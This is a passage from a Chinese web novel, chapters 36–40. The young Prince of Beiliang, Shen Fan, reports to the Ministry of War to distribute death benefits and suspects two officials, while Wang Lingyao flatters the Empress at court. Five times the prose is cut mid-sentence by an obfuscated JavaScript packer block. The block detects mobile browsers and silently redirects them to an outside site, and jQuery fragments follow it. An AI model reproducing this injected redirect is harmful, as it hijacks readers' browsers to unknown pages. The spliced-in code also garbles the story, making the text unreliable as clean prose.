一个时辰后我还要去兵部,今天是我第一次办差,不能延误。” “放心,早就准备好了。奴婢这就伺候您洗浴。”水仙将手里的棉大氅给沈凡披上道。 沈凡点点头就往卧房走去,水仙像个小跟屁虫般跟在后面。 进了卧房,沈凡果然看到了一个大澡盆,怕自己冷,水仙还特意在地上摆了两盆火炭。 见主子宽衣解带,水仙知趣地退了出去,在外间等候。 倒不是她不想服侍主子洗浴,是因为不许。 在她的记忆里,主子十岁后就不让下人伺候洗澡了。 沈凡在澡盆里泡了好一阵,直到感觉四肢百骸都异常舒坦才出来。 擦干身子后,穿上水仙早已准备好的干净里衣,找外袍时却发现没有。 “把我的外衣拿来。”沈凡冲外间喊了声。 “来了来了。”门被推开,水仙捧着一个托盘走进来,上面放着一摞衣服。 “奴婢伺候您更衣。”水仙道了句,将托盘放在桌上,开始给沈凡穿衣。 先是一件雪白的薄棉外袍,然后一件石青色的丝绸锦袍,又在外面罩了件大氅。 看着身上这件纯黑色,反射着光泽的貂皮大氅,沈凡微微一愣。 知道此物甚是珍贵,号称裘中之王,更被誉为软黄金。 有细短柔软,风吹更暖,雪落自消,雨落不湿之说。 “新买的?”沈凡问。 水仙边给沈凡系着领子上的铜纽扣边道:“是奴婢昨天给王爷置办的,用了一千两银子呢,暖和吧?” “奢侈了些吧?”沈凡抚摸着貂皮大氅,感受着久违的丝滑问道。 第三十六章:这也太娘们儿了吧 “奢侈什么?”水仙道:“您以前也不是没穿过,只不过那些好皮草都被您给卖了,如今您是王爷,出门要有几件好衣服的。” 沈凡不置可否的点点头。 水仙话不无道理,自己穿得好些也是给北凉王府提气。 可随着水仙给自己系上一根镶嵌着红宝石的束发丝带,用眉笔给自己描了描眉,扑了点儿香粉。 最后还让自己咬了下鲜红的口媒子时,沈凡彻底懵了。 “你,你这是要干什么?!” “嘻嘻嘻……”水仙笑道:“您是第一次做官办差,奴婢必须要给您打扮得漂漂亮亮的!” 说着她还取来一面铜镜,抱在胸腹间走到沈凡身前站好。 沈凡望向铜镜,看到了里面出现了一个面皮细腻,唇红齿白,潇洒飘逸的富公子。 “哎呀,奴婢忘了还有一件饰品没给您带上。” 水仙从袖口里取出一个红色的绒球,插在沈凡发髻上,退了几步又举起了铜镜。 小王爷这副模样,简直把她喜欢到了骨子里。 在她看来打打杀杀的主子不好,主子只有这个模样才称得上少年郎君,王爷中的典范。 沈凡却不这么认为,他看自己现在的模样简直就是王家俊的翻版,道了句:“这,这也太娘们儿了吧?” 见沈凡要拿毛巾擦脸,水仙立刻上前阻止道:“王爷您不能这样,这可是奴婢连夜才准备出来的。” 看着态度坚决的水仙,沈凡怕她伤心,只能求其次之,央求着把头上那个红绒球摘了下来。 妥协了的水仙边摆弄着红绣球边失望的道:“我还是觉得这个红球有画龙点睛之笔之效。” 沈凡…… 主仆二人吃了早饭后,沈凡就出了内宅向前院走去。 一路上,奢华的貂皮大氅,配上一副绝世的容颜,引得众仆人纷纷驻足,那些女仆更是如触电般浑身一抖。 前门的影壁墙处,徐盛和丁奉牵着三匹马早已等候在这里。 小王爷虽说做的是七品芝麻官,可毕竟是王爵,该有的护卫还是要有的。 倪福腿脚不好岁数又大,韩当和周泰身上有伤,其他的护卫还没招上来,保护小王爷的职责自然就落在了他们二人身上,这让他们感到幸运又自豪。 可当徐盛和丁奉看到从影壁墙后绕出来的小王爷时,不由全呆滞了。 这是谁?怎么这么漂亮! 愣了一下后,还是徐盛的反应快,挑起大指笑道:“王爷也真是好容颜!” 把沈凡说得脸一红,本来就红润的脸蛋更加娇艳欲滴。 沈凡本来想骂徐盛一句,当看到身边满眼骄傲的水仙时,又生生憋了回去,看向徐盛道:“上马,目的地兵部。” “王爷早些回来,记得中午及时吃饭。”望着沈凡远去的身影水仙叫道,翘首的样子宛如沈凡之母。 只是水仙不知道的是,沈凡出了王府后,就马上用手帕将唇红和脸上的粉擦掉了。 这个水仙,胭脂和口媒子哪是男人该用的东西? 兵部衙门位于午门西面,四周高墙耸立,门禁森严。 沈凡刚到正门,还没来得及下马,就被一个二十多岁,身材魁梧,穿着皮甲腰间佩刀的军士拦住了。 “停下,这里是兵部重地,没看到牌子上写着五丈外下马么?” “大胆,连我们王爷的马都敢栏。”徐盛见状来到那军士身前喝道。 “王爷?”军士诧异地看向沈凡。 虽说此人很年轻,不太像想象中的王,可却穿着昂贵的貂袍,看上去的确不是一般人。 即使是这样,那军士依然不退,凛然道:“你说是他王爷,有何凭证?” 徐盛瞪着眼睛道:“你一个小小的军卒,竟敢跟我们王爷要……” “徐盛,退下。”不待徐盛把话说完,沈凡就打断了他,从马上跳下,对着那军士拱拱手道: “这位兄弟,我乃新任北凉王沈凡,奉户部令来兵部协助办差的,这是户部的手令,可以证明我说的话。” 沈凡说着就将手令从怀里取了出来,一脸和气的递给军士。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15315743|167322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 军士看完后豁然一惊,忙用双手将手令奉还道:“小人不知是王爷驾到,还请恕罪。” 沈凡道:“不知者不怪,不知这位兄弟可否带本王去找手令上的张利、马卫二人?” 军士道:“小人知道张大人和马大人在那,请跟小人来吧。” 在这名军士的引领下,沈凡穿堂过院直奔兵部深处。 路上,那个军士还不忘解释自己刚才的行为。 说像沈凡这般身份来兵部办差,按理说户部应该提前通报,上峰也会提前告知他们这些守卫,派官员来迎,怎么就没人知会他们? 沈凡听后什么也没说。 来到一座小院前,看着紧闭的院门,那名军士对沈凡道: “王爷,这里就是刘大人和马大人的办公之所,您稍等,小人这就让他们出来迎接您。” “有劳。”沈凡点点头道。 军士推门而入后,徐盛走到沈凡身边轻声道:“王爷,听了这军士的话,小人是觉得有些不对劲,怎么就没人迎接您?” 丁奉也道:“是呀,户部的手令上明明写着今日王爷来办差,难道真是户部没通告?” 沈凡笑了笑道:“不要瞎猜,我虽然是王爵,干得却是七品主事的差事。 人家迎接是礼节,不迎接也属正常,况且可能真是通报不及时。” 徐盛和丁奉对视一眼,不再说什么。 别看沈凡这样说,其实心里早就在琢磨着这事了。 大夏朝讲究的是官权大于爵权,可他记得丹阳公主和自己说过,户部已将自己今天到来的事知会了兵部。 为何兵部的人连起码的礼节都不懂,连那两个协助自己办差的官员也没出现? 理智告诉沈凡,单从这一件事上就说明有隐情,只是还需要继续观察。 正想着,小院的门被打开了,就见那名军士陪着两个人走了出来。 这两人看上去都三十出头的年纪,一个长着眯眯眼,一个长着疤拉眼。 共同之处就是都很胖,一看就是酒肉之徒。 第三十七章:从没看过打算盘的王爷 沈凡看到,那个长得眯眯的官员见到自己就是一阵拱手,皮笑肉不笑的道: “啊呀……是小人疏忽了,忘了王爷今天驾到,还请恕罪,还请赎罪!” “对对,还王爷请赎罪,还王爷请赎罪。”他身边的那个疤瘌眼官员亦如此。 沈凡心念一转,从他们的话里可以推断出,兵部是接到了自己今日前来的通报的。 怪哉,一个挂着户部七品主事的王爷来兵部办事,在本朝历史上都是没有的。 这样的事按理说兵部不会不重视,为何这两人楞是说忘了? “你们是?”沈凡问道。 “小人刘利。” “小人马卫。” 随着这两人应了声,沈凡知道了眯眯眼就是刘利,扒拉眼是马卫,正是卷宗里提到的,协组自己办差的那两个兵部七品主事。 这时,就见那个引路的军士对自己拱手道:“王爷您忙,小人告退。” 沈凡笑着点点头,目送他离开。 “王爷,您里面请。”随着刘利道了句,沈凡跟他们进了院。 来到办公的堂里,沈凡就不禁微微皱了皱眉。 这里充斥着一股霉味,文牍杂乱的堆在桌案上,地上积满了浮尘,还印着不少杂乱的脚印。 “王爷,您请坐。” “王爷,您请喝茶。” “王爷,这屋子太乱了,还请见谅。” 刘利、马卫二人一边给沈凡上茶,一边拾掇着桌案上散乱的案卷,激起的尘土让沈凡不禁又皱了皱眉。 不过因为自己是协助办差,这里又不是户部,不好说什么,便直接进入主题道: “二位不必客气,本王是奉丹阳公主殿下的差使前来办差的,我们不论爵位只论官位,还请二位跟我抓紧办差吧。” “好的。” “好的。” 听到这话,刘利和马卫应了句,刚才弯着的腰杆同时都直了起来。 刘利翻出几页纸递过来道:“王爷请看,这是阵亡将士的抚恤花名册,这是受伤将士的抚恤名单。 办理此事的人共四十个,小人已将他们分成了二十队,就等着您一道令下去办差了。” 沈凡道:“这些我都知道了,户部给我的宗卷里都有,受伤将士的抚恤金我会对账,发放阵亡将士抚恤的事现在就开始。” “好好。”刘利道:“那我们现在就下去,您就在这里对账,最多两三日就能把差事办完。” 沈凡摆手道:“不,账本王会拿回去对,本王跟着你们编进一队,一同下去办差。” “什么,您跟着我们去?”刘利被这话弄得一愣,问道。 “怎么,有什么不妥吗?”沈凡反问道。 “没什么,只是您是王爷,这种差事用不着您出头。”刘利笑着道。 看着刘利的笑容,沈凡越发觉得有些不对头,更加坚定了要亲去的念头,说道: “刚才不是说了吗,这里没有王爷,只有官员办差,我现在要见一见那二十队人,请两位马上安排。” “这……”刘利明显犹豫一下。 沈凡脸色微微一沉道:“怎么,户部给兵部的知会里,没有说明本王是此差事的主事人么?” “说明了,说明了。”刘利应道,看了马卫一眼。 沈凡看到,他们经过眼神交流后,马卫对自己拱手道:“那您稍等,小人现在就去召集他们。” 说完马卫就出了房间,只留下刘利陪着。 “王爷,您喝口茶慢慢等。”刘利把茶碗递过来道。 沈凡接过却没有喝,将其放在桌子上。 见桌案的角落有一把深棕色木框,四个角镶嵌着铜质护角的算盘,就让丁奉把它递给自己,又让徐盛把给受伤将士抚恤金的账册拿了过来。 “王爷,您这是?”刘利见状问道。 沈凡微微一笑道:“横竖现在也无事,对对账。” “你会打算盘?”刘利疑惑的问。 “本王就不该会打算盘么?” “不是不是,小人不是那个意思,小人是说从没看过打算盘的王爷。” “那今天你就看到了。”沈凡说完就不在理他,闷头算起账来。 片刻的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15315744|167322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 功夫,算盘的“噼里啪啦”声和账簿的翻页声响成一片…… 刘利用难以置信的眼神看到,沈凡打算盘的手法极其娴熟,手指轻盈的在算珠间拨动着,准确计算着账簿上的每个数字。 别说是他,就连徐盛和丁奉都看呆了。 他们也没想到,自家王爷会打算盘? 这哪是王爷应该会的活事儿啊! 他们哪里知道,打算盘是沈凡自小的必修课。 用父王的话来讲,不管是做文官还是武将都应通晓算学。 文官会记账查账,可更加熟知治下之事,免得被手下人糊弄。 武将会算学则更为重要,在战场上可以计算敌我损失,甚至对排兵布阵都有好处。 渐渐地,刘利就发现沈凡的眉头微微皱了起来,仿佛在思考着什么? 他心里一惊,问道:“王爷,这账有什么不对吗?” 沈凡看向刘利,观察着他的反应道:“现在还看不出来,不过目前都是对的。” 沈凡的确没有发现什么问题,不过刚才皱起眉头却是故意为之,目的就是看看刘里的反应。 从他的反应来看,似乎透着些许心虚。 就在这时马卫进来了,说人已经到齐。 沈凡将账册给了丁奉,让他收好, 然后走出屋子。 这些人皆由兵部的军士组成,有意思的是,刚才把自己带进门的那名军士也在其中。 “我给大家介绍一下,这位就是朝廷派下来协助我们发放抚恤金的北凉王,大家见礼。” 随着刘利喊道,这四十名军士都对着沈凡躬身施礼,道了句:“拜见北凉王。” 沈凡嘴角带着笑意,对着这四十人拱拱手。 刘利又喊道:“北凉王现任户部七品主事,也是我们此次发放抚恤金的主官,现在请王爷训话。” 这话说完后,跟在沈凡身后的丁奉和徐盛不由瞪了眼张利。 缘由是他说的虽然是实话,可把沈凡身为王爷却干着七品小吏的事说了出来。 这就是在当众贬低王爷,明显没安好心。 第三十八章:还未出发就显乱相 沈凡也看了张利一眼,心知肚明却没与他计较,目光扫向众人道: “就说一句,本王会与诸位一起办差,希望这次不要再出现以往的那些岔头,诸位要对得起那些死难的将士。” 闻听此言,下方那四十名军士不由就是一阵窃窃私语。 议论的罪多是,想不到一个王爷竟会跟他们一起办差。 还有是一个挂着七品主事的王爷干这事就是来镀金的,大家要好好契合,别自找晦气。 只有那个带着沈凡进门的军士若有所思的看向沈凡,眼中带着几分感慨。 沈凡没有理会下面的议论声,看向刘利和马卫问:“你们负责的是哪一队,今日要去哪里?” “回北凉王。”刘利道:“我们负责的是第一队,今日要去平安坊办差,共有十五家阵亡家眷要抚恤。” “有他们生前的的事迹么?”沈凡问。 “生前事迹……”刘利顿了下道,:“有有”,说着让马卫回屋去取。 不一会儿,马卫取来份黄麻纸包裹的卷宗给了沈凡。 沈凡原以为记载阵亡将士事迹的内容会很多,打开卷宗时,却发现只有寥寥两页纸。 其中一页纸上,记载着一个名叫张硕的七品参将的事迹。 张将军在古塔一役中奋勇厮杀,身中无数箭矢,坐骑战死后步战不退,力竭而亡前仍催促属下杀敌。 战后寻得张硕尸骨,由于连日暴雪无法将尸骨运回,与其他将士一并就地焚化。 自骨殖中寻出的突厥人箭头三斤有余,堪称忠勇之士。 沈凡边看边想像着张硕战场厮杀的画面,心头涌起一股敬佩之情。 接着看另一张纸,发现上面内容变得极其简单,将十几个阵亡军士的事迹写在了一起。 如王铁汉杀敌三人力竭而亡,赵富贵杀敌两人中箭而亡。 还有些非阵亡的,如李英杀敌一人,俘五人,在撤退途中遇暴雪被冻死等等。 “为什么这里没有详细记载?”沈凡问道。 他认为阵亡将士的事迹应记得完善,一来可以在军中鼓舞士气,二来也可以给家属一个交代。 听到这话马卫心中暗道,一看就是个生瓜蛋子,回道:“王爷您没上过战场不知道,阵亡将士的事迹就是这样记的。” 沈凡道:“你说的不对,为何这个叫张硕的事迹记得如此详细?” 马卫道:“他是有品级的,因七品以下的军士太多,战场上的情形又复杂,哪能都详细说明。” 沈凡征了征,对这话还是理解的,不过却不认可,说道:“难道普通军士的事迹就该一句话盖过么? 他们也是爹生妈养,也是为国捐躯,也应该被人铭记!” 此言一出众人默然,他们多为没品级的军士,难免有同命相连之感。 没想到,这个年轻的王爷会说出这番体恤的话来。 那个带沈凡进门的军士再次看向沈凡,神情中带着几分钦佩。 另一边,面对沈凡的质问马卫却毫不动情,面露不屑的道: “王爷,这是我们兵部上差的事,我们还是抓紧办差吧。” 沈凡眼中闪过一丝怒意,明白这话是在说自己狗拿耗子。 可自己的确是户部的人,无法过问兵部的其它事,只能忍下,看向下方的众人道: “好,现在就按分好的小队下去吧。本王跟着刘大人和马大人一队,晚上都回到这里,本王要听各队的述职。” “是。” 众军士齐齐对着沈凡拱手应道,立刻分头行动,态度要比刚才尊敬了不少。 片刻后,只留跟随沈凡,张利、马卫的第一小队在院中。 沈凡发现,那个给自己引路的军士也在第一队里,这让他觉得自己和此人有些缘分,点指他问:“你叫什么名字,什么官职?” 这名军士立刻上前两步施礼,用洪亮的声音道:“回王爷的话,小人名叫王广,现任兵部衙门从八品校尉,负责守卫门禁。” 沈凡对大夏朝的品级制了然于胸,它承**了前朝的品级制,将官阶分成九等,每品又分正从两阶。 正一品有太师、太傅、太保、大学士、元帅等,先王的品级就是正一品兵马元帅。 从一品有少师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15315745|167322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、太子太师、太子太傅、各部院尚书、督察院左右督御史等,丹阳公主就是从一品户部尚书。 正二品有各部院左右侍郎、内务府总管,各地刺史、统领,总兵等。 从二品有内阁学士、翰林院掌院等。 正三品有大理寺卿、太常寺卿等。 从三品有光禄寺卿、太仆寺卿,将军等,王灵瑶这个巾帼将军就在此品级上。 从四品开始官员的职务就多了,各部少卿、少詹事、给事中、各府丞、将军、参将等。 一直到自己这个不入流的七品户部主事,可以说是数不胜数。 对了,好像郑天泽是正五品将军。 想到这沈凡就觉得揪心,别看自己是个王爷,可论官阶比郑天泽小了两级,比王灵瑶更是小了四级。 再往下,从八品到九品就开始更不入流了,王广的官阶是兵部校尉,属于底层军官。 沈凡这个不入流,对王广这个更不入流的有种同命相连的感觉,问道:“你说你的职责是守卫门禁,怎么会在这里?” 王广回道:“小人是刚接到的命令。” 沈凡马上反应过来了什么,又问:“那刚才走的那些人也是如此么?” 王广刚要说话,忽然目光里现出犹豫之色。 沈凡顺着他的目光看去,就看到了张利和马卫正瞪着王广。 “你还是军人么,有什么就说什么。”沈凡对王广道,语气里带着一股摄人的气势。 不知为何,王广胸中升起一股莫名的勇气道:“回王爷的话,据小人所知,这四十人里有一多半都是刚调来的。” 沈凡扭头看向刘利和马卫问道:“难道你们对差事没有上心,这些人本王来后才临时拼凑来的?” 这话问得他们脸色一变,马卫支支吾吾不知道该说什么,张利眼珠一转道: “不是不是,是有二十几个军士有紧急公务,我们才临时把王广他们调来了。” “对对,有紧急公务。”马卫也跟着道。 “什么紧急公务?”沈凡追问道。 刘利和马卫的脸色又同时一变…… 第三十九章:天泽的谋划起效了 面对沈凡的追问,刘利和马卫的脸色又同时一变。 要说还是刘利的反应快,惊慌的神情秒变一本正经,又使出了官腔道: “这是上峰的命令,小人是奉命行事。” 沈凡能猜到这货十有**在扯谎,还想继续追问,可再一想自己是来干什么的? 是监督他们落实抚恤金来的,这才是头等大事,不可被这些自己掌控不了的旁支所困。 于是点头道:“那我们走吧。” 众人上了马向平安坊进发,因为不是紧急公务,马队在街上只是小跑着。 “让开让开,别撞了马头……让开,让开……” 在开路军士的呼喊中,百姓们很从容地退到街道两侧,让了开路。 就在这时,沈凡忽感浑身不自在,多年习武的直觉让他觉得有人在偷窥自己。 猛回头警觉地看向身后,自信一下就能找到窥视的那个人。 可先是听到了“哇……”的一阵轻呼,然后目入眼帘的是熙熙攘攘的人流中,一双双大姑娘小媳妇发光的眸子。 其中还混着几个老姬,也正用火辣的眼神盯着自己看,不在清澈的眼睛在鱼尾纹的映衬下,闪烁着饥渴的光。 更有甚者,有一老姬边用袖子抹着嘴边赞了句:“好俊俏的小郎君!” 沈凡脸一红,低下头继续赶路,心里开始埋怨起水仙来——看你把我打扮的! 只是沈凡并没有发现,有个女人始终混在人群里跟着自己。 …… 与此同时,皇城后宫。 王灵瑶在几名宫女的陪同下,正向皇后的居住的掖庭宫走去。 看着巍峨耸立、金碧辉煌的宫殿,仿佛感觉自己仿佛走进了天宫。 虽说这不是第一次来后宫,可依旧让王灵瑶每走一步都会有一步的感慨。 自己这个四品巾帼将军,在皇家巍峨前真是微不足道! 想到这位陈皇后二十年前进宫时,还是一名普通的正八品采女。 自从诞下当今太子赵锐后,母凭子贵一下越过御女、宝林、才人、美人、婕妤、嫔、妃直达皇后宝座,成为后宫之主。 当真男怕入错行,女怕嫁错郎。 可惜皇上已经二十年不扩充后宫,自己也已没了入宫的机会。 好在自己有了安国公之孙郑天泽,加上凭着战功得到了皇后的赏识,成了皇后的义女,也算是将半只脚踏进了皇家。 正如天泽所说,只要自己把握机遇,加上有皇上、太子和安国公府的加持,必定前程似锦,未来位极人臣也不是不可能。 一想到‘位极人臣’这四个字,王灵瑶脑海里不由就浮现出了沈凡的身影。 还说什么你是我以后高攀不起的存在,做了北凉王又如何,有名无权而已。 哼,以后是不一定谁高攀不起谁呢? “巾帼将军请止步。”一个太监的声音打断了王灵瑶的思绪,这时她才发现已到了宫殿门口。 王灵瑶知道太监要干什么,站在门口将双臂向两旁伸展。 一名宫女走过来,在王灵瑶身上搜索了一番后,对这那个太监微微点头。 就见那名太监一甩拂尘道:“将军请进。” 王灵瑶对着那太监微微颔首,却并没急着进殿,而是在原地整理了一下衣裙。 今日她特意穿了皇后赐的衣裙,头上戴得金步摇也是如此,已此向皇后表达感激和尊敬之意。 不过她没化浓妆,施得薄粉难掩倦容和发青的眼圈。 这正是天泽的谋化,就是让皇后看到自己的疲惫像,然后借机把沈凡伤了弟弟,自己夜不能寐的事说出来。 整理完容装后,有太监挑开厚重的门帘,王灵瑶迈过高大的门槛进入大殿。 冷不丁从阳光明媚的外面进入,她的眼睛适应了下才看清殿里的情景。 映入眼帘的并不是皇后的宝座,而是一道暖阁的门。 跟着王灵瑶来的几名宫女止步在门外,陪着她进入暖阁的只有刚才那个太监。 暖阁内点着多盏宫灯,暖气扑脸,陈皇后斜靠在宝座上,一只手握着一卷画册,另一只手搭在扶手上。 这是个长相富态,五官精致的中年人,身上穿着华 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15315746|167322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丽的宫服,梳得极其精细的发髻上插满金银珠翠,在宫灯的照耀下熠熠生辉。 王灵瑶的脚步变得有些乱,快走几步跪倒在地,用颤抖的声音道: “臣女王灵瑶拜见皇后娘娘,祝娘娘千岁千岁千千岁。” 之所以不叫娘或母亲,是因为就算被皇后收做了义女,王灵瑶还是臣子。 该怎么称呼还怎么称呼,自称臣女已是莫大的殊荣。 “哎哟,本宫的干女儿终于来了。”陈皇后脸上现出笑意,歪着脑袋瞅着王灵瑶。 王灵瑶继续叩拜道:“臣女此番进宫,是特意感谢娘娘再生之恩的。” 陈皇后愣了下道:“再生之恩,这话怎么说?” 王灵瑶道:“娘娘收了臣为义女,这不是再生之恩又是什么?” “咯咯咯……咯咯咯……”陈皇后明显对这话很受用,坐直了身子道:“真是越来越会说话了,快起来近前说话。” “谢娘娘。”王灵瑶从地上爬起来,眉眼带笑走到陈皇后身前。 再生之恩的话是天泽教自己的,说皇后娘娘听了一定欢喜,看来效果不错! 陈皇后也在端详着王灵瑶道:“嗯……这身衣服穿在你身上很好看,头上的金步摇也很配,当真是上马杀敌寇,下马弄红妆。” 可下一瞬陈皇后就发现了什么,问道:“你的脸色怎么这么不好,是病了吗?” 来了,果然应了天泽的话……王灵瑶心中兴奋的同时,嘴上却打了个‘嗨’声道:“不敢瞒娘娘,臣女家中出了些事。” “什么事?”陈皇后问。 王灵瑶就将新任北凉王沈凡上门讨债,将自己弟弟被沈凡打伤,丹阳公主从中调和的事说了。 只是按郑天泽教给自己的话,把他们先扣押水仙的事隐去了,最后还假惺惺的道: “皇后娘娘,这些事都是臣子间的小事,何况臣女已经在丹阳公主面前与北凉王将此事了解了。 您要是不问,臣女是万万不会说的,怕的就是烦了您的凤体。” 说完这些,王灵瑶还给了陈皇后一个歉意的笑意。 第四十章:陈皇后的心事 正如郑天泽预料的那样,陈皇后对臣子间的这些琐事确不好插手,不过对另一件事却是上了心,说道: “化解了就好,只是丹阳公主怎么会管你们的事?” 果然被天泽说中了,皇后对丹阳公主确有戒心……王灵瑶依旧按郑天泽教自己的话回道: “新晋北凉王沈凡现任户部七品主事,是丹阳公主的下属,为沈凡说话也属正常。 况且公主殿下处理此事无偏颇,臣女并无怨言。” 陈皇后脸上的胖肉抽了下,对王灵瑶对丹阳公主的评价有些失望,不过看到她乖巧的样子还是道: “你能这样通情理本宫很欣慰,你提到的那个沈凡是谁,怎么就成了新任北凉王?” 王灵瑶道:“沈凡是老北凉王沈克用的独子,几日前奉陛下旨意刚继承的北凉王。” “沈克用还有个独子,这本宫到是不知道。”陈皇后道:“他多大年纪,有何功名?” 王灵瑶道:“十九岁,以前一直在做世子,没有功名。” “没有功名……”陈皇后现出几分轻蔑的神色又问:“那你又怎会欠他的银子?” 王灵瑶:“这个……至于臣女为什么欠他的银子……这涉及到臣女的一段儿女私情,娘娘是高贵之人,不听也罢。” “别介,说。”陈皇后本就是个小女人的性子,加上久居深宫无聊至极,岂能错过这等逸事,忙说道。 “是。”王灵瑶现出不堪回首的神情,将自己与沈凡和郑天泽的事言说一遍。 要说王灵瑶势力眼不假,但良知还是有的,并没有否定沈凡曾对自己的帮助。 按自己的理解,把沈凡说成一个胸无大志之人,将郑天泽说成了国之栋梁之辈。 又告诉陈皇后,自己非那种逆来顺受的寻常女子,而应做一个敢想敢爱的女丈夫,这样才不负皇后娘娘义女的称呼。 听得陈皇后唏嘘不已,心里不禁生起一股妒意。 比起王灵瑶来,自己活得其实很委屈,皇上已经有十几年没碰过自己了。 要不是他这么多年痴心修道,极少临幸妃嫔,要不是自己诞下了唯一的皇子锐儿,要不是锐儿成了太子,自己的命是什么还真不敢想…… 眼见皇后神色有异,王灵瑶小心的道:“都是臣女的不是,就不该跟您说这些,到底还是让娘娘不喜了。” 陈皇后回过了神,不想让王灵瑶看出自己的真实情绪,将手里的画册扔在桌案上道: “你想错了,本宫的义女就应该做这样的奇女子,也只有安国公的孙子才能配上你。 至于那个小肚鸡肠,花银子还舔着脸往回要的沈凡嘛,正如你说的就是胸无大志之徒,不要也罢!” “臣女谢皇后娘娘庇护!”王灵瑶大喜,语气中带着感激。 “庇护……”陈皇后若有所思重复着这个词,笑道:“没错,本宫就是庇护你。 若那个小小的北凉王沈凡以后对你胡搅蛮缠,尽可告知本宫,本宫给你做主。” “谢娘娘。”王灵瑶跪倒在地道。 这次语气中不但有感激,更带着得意。 “起来起来,别动不动就跪。”陈皇后对王灵瑶摆摆手。 这时走过来一个太监,轻声对她道:“主子,该到用早膳的时辰了。” “叫。” 伴着陈皇后道了声,太监对着殿门口高声唤了句:“皇后娘娘传膳。” 王灵瑶看到殿门被打开了,一群端着菜肴的宫女鱼贯而入。 “皇后娘娘用膳,臣女不敢打扰,这就告退了。”王灵瑶看向陈皇后道。 “先不要走,陪本宫用膳吧。”陈皇后笑盈盈的道。 这让王林瑶感到莫大的荣幸。 这叫什么,这叫赐宴。 皇后赐宴虽说与皇上赐宴不能比,可也是多少臣子做梦都想得到的殊荣。 “谢皇后娘娘。”王灵瑶当即谢恩,被太监领到宴桌旁,坐在皇后的左下手位置。 随着一道道菜肴搬上餐桌,将她的眼睛都看花了。 就见桌正中放着一个火锅,锅底炭火炙旺,丝丝热气从锅盖四周溢出,闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15315747|167322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 味道炖的是羊肉。 火锅周围摆放着煎大虾、鱼羹、炖鸡块、清炖牛肉、鱼丸汤,另有几道菜自己见都没见过。 这还不算,还有很多装在小碟里的宫廷小点心,琳琳琅琅布满了桌面。 “别愣着,吃吧。”看到王灵瑶呆傻的神情,陈皇后的自尊心得到极大满足,笑着道。 王灵瑶站起身道:“让臣女伺候您用膳吧?” “不用,不用。”陈皇后抬手示意王灵瑶坐,说道:“本宫有太监服侍,你也是如此,你就安心吃。” 果然,王灵瑶看到身边站了两个宫女为自己布菜。 吃了几样后,感觉这宫廷菜真是太好吃了,色香味俱佳。 陈皇后却早就吃腻了,微微皱着眉,有一口无一口地吃着。 正这时,有个太监从殿外走了进来,对她施礼道:“娘娘,太子给您请安来了。” 陈皇后放下银筷子道:“让他进来。” 王灵瑶一惊,立刻站起身。 几息后,就见一位身穿明黄色滚龙袍,头戴金冠,腰束金丝玉带的年轻人走了进来,正是太子赵锐。 这位太子殿下王灵瑶是见过的,那是在被册封为巾帼将军的朝堂上,不过当时自己与太子站立的地方相隔甚远,看不太清楚。 今日却不同,随着这位太子殿下的走近,自己才有幸窥见真容。 但见他长相并不算英俊,可面容清秀,眼神睿智,眉宇间带着英气,浑身上下展现着高不可攀的尊贵。 行走间步伐稳健从容,龙行虎步中透露出与生俱来的王者风范。 赵锐走进殿后,对陈皇后行了大礼,口中道:“儿臣给母后请安。” 看到亲生儿子,陈皇后的心情自是好,含笑道:“起来吧,去你父皇那请安了吗?” 